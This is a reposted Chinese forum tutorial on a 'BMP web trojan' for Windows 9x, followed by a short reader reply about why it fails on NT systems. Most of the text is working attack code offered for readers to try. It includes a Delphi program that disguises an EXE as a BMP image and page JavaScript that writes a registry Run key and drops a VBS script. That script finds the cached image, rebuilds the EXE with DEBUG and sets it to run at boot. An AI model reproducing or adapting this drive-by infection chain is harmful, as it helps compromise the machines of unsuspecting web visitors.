发新话题
打印

[转载]详解BMP网页木马

[转载]详解BMP网页木马

本文作者:不详
文章出处:xuanliang blog
  
详解BMP网页木马
首先说明这不是什么新的东西,但最近有人说我们没有,那就随便写编文章放上来了,大家自己试验一下. 何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行.

然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的javascript脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K,XP来说是无能为力了.

看上去好象很复杂,下面我们一步一步来:
1) EXE变BMP的方法.
大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,IE是不会下载的,转换代码如下:

program exe2bmp;

uses
Windows,
SysUtils;

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

begin
if (ParamStr(1)<>&#39;&#39;) and(ParamStr(2)<>&#39;&#39;) then begin //如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);

Buffer[0]:=&#39;B&#39;;Buffer[1]:=&#39;M&#39;;
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;

hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.


以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
<img srd="mybmp.bmp" higth="0" width="0">


以下是放在网页上的脚本
document.write(&#39; &#39;);
function docsave()
{
a=document.applets[0];
a.setCLSID(&#39;&#39;);
a.createInstance();
wsh=a.GetObject();
a.setCLSID(&#39;&#39;);
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+&#39;\s.vbs&#39;;
wsh.RegWrite
(&#39;HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs&#39;,&#39;wscript &#39;+&#39;"&#39;+vbs+&#39;" &#39;);
var st=fso.CreateTextFile(vbs,true);
st.WriteLine(&#39;Option Explicit&#39;);
st.WriteLine(&#39;Dim FSO,WSH,CACHE,str&#39;);
st.WriteLine(&#39;Set FSO = CreateObject("Scripting.FileSystemObject")&#39;);
st.WriteLine(&#39;Set WSH = CreateObject("WScript.Shell")&#39;);
st.WriteLine(&#39;CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")&#39;);
st.WriteLine(&#39;wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")&#39;);
st.WriteLine (&#39;wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"&#39;);
st.WriteLine(&#39;SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"&#39;);
st.WriteLine(&#39;WScript.Quit()&#39;);
st.WriteLine(&#39;Function SearchBMPFile(Folder,fname)&#39;);
st.WriteLine(&#39; Dim SubFolder,File,Lt,tmp,winsys&#39;);
st.WriteLine(&#39; str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname&#39;);
st.WriteLine(&#39; if FSO.FileExists(str) then&#39;);
st.WriteLine(&#39; tmp=fso.GetSpecialFolder(2) & "\"&#39;);
st.WriteLine(&#39; winsys=fso.GetSpecialFolder(1) & "\"&#39;);
st.WriteLine(&#39; set File=FSO.GetFile(str)&#39;);
st.WriteLine(&#39; File.Copy(tmp & "tmp.dat")&#39;);
st.WriteLine(&#39; File.Delete&#39;);
st.WriteLine(&#39; set Lt=FSO.CreateTextFile(tmp & "tmp.in")&#39;);
st.WriteLine(&#39; Lt.WriteLine("rbx")&#39;);
st.WriteLine(&#39; Lt.WriteLine("0")&#39;);
st.WriteLine(&#39; Lt.WriteLine("rcx")&#39;);
st.WriteLine(&#39; Lt.WriteLine("1000")&#39;);
st.WriteLine(&#39; Lt.WriteLine("w136")&#39;);
st.WriteLine(&#39; Lt.WriteLine("q")&#39;);
st.WriteLine(&#39; Lt.Close&#39;);
st.WriteLine(&#39; WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6&#39;);
st.WriteLine(&#39; On Error Resume Next &#39;);
st.WriteLine(&#39; FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")&#39;);
st.WriteLine(&#39; FSO.GetFile(tmp & "tmp.dat").Delete&#39;);
st.WriteLine(&#39; FSO.GetFile(tmp & "tmp.in").Delete&#39;);
st.WriteLine(&#39; FSO.GetFile(tmp & "tmp.out").Delete&#39;);
st.WriteLine(&#39; end if&#39;);
st.WriteLine(&#39; If Folder.SubFolders.Count <> 0 Then&#39;);
st.WriteLine(&#39; For Each SubFolder In Folder.SubFolders&#39;);
st.WriteLine(&#39; SearchBMPFile SubFolder,fname&#39;);
st.WriteLine(&#39; Next&#39;);
st.WriteLine(&#39; End If&#39;);
st.WriteLine(&#39;End Function&#39;);
st.Close();
}
setTimeout(&#39;docsave()&#39;,1000);

把该脚本保存为"js.js",在网页中插入:
<script src="js.js"></script>

该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:

Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Cache")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
&#39;从临时文件夹中查找目标BMP图片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
&#39;生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
&#39;下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function

:o


问题:
引用:
  [转载]详解BMP网页木马
这篇文章所提到的“只能在9X下发挥作用,对于2K,XP来说是无能为力了”是什么原 ..
木马的确是任何系统都可以感染的
但是他说的“只能在9X下发挥作用,对于2K,XP来说是无能为力了”是指整个方法
首先第一 如果是NT架构
USERS组成员在系统中是没有执行权限的 如果设置了NTFS文件系统 那么即便是中了 开机也无法启动第三方软件
另外 在NT中 所有的组成员是具备不同的桌面 包括不同用户桌面的启动文件夹路径都不一样 所以很难算好地址 因为文件夹是根据用户命名的:)
OK?
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题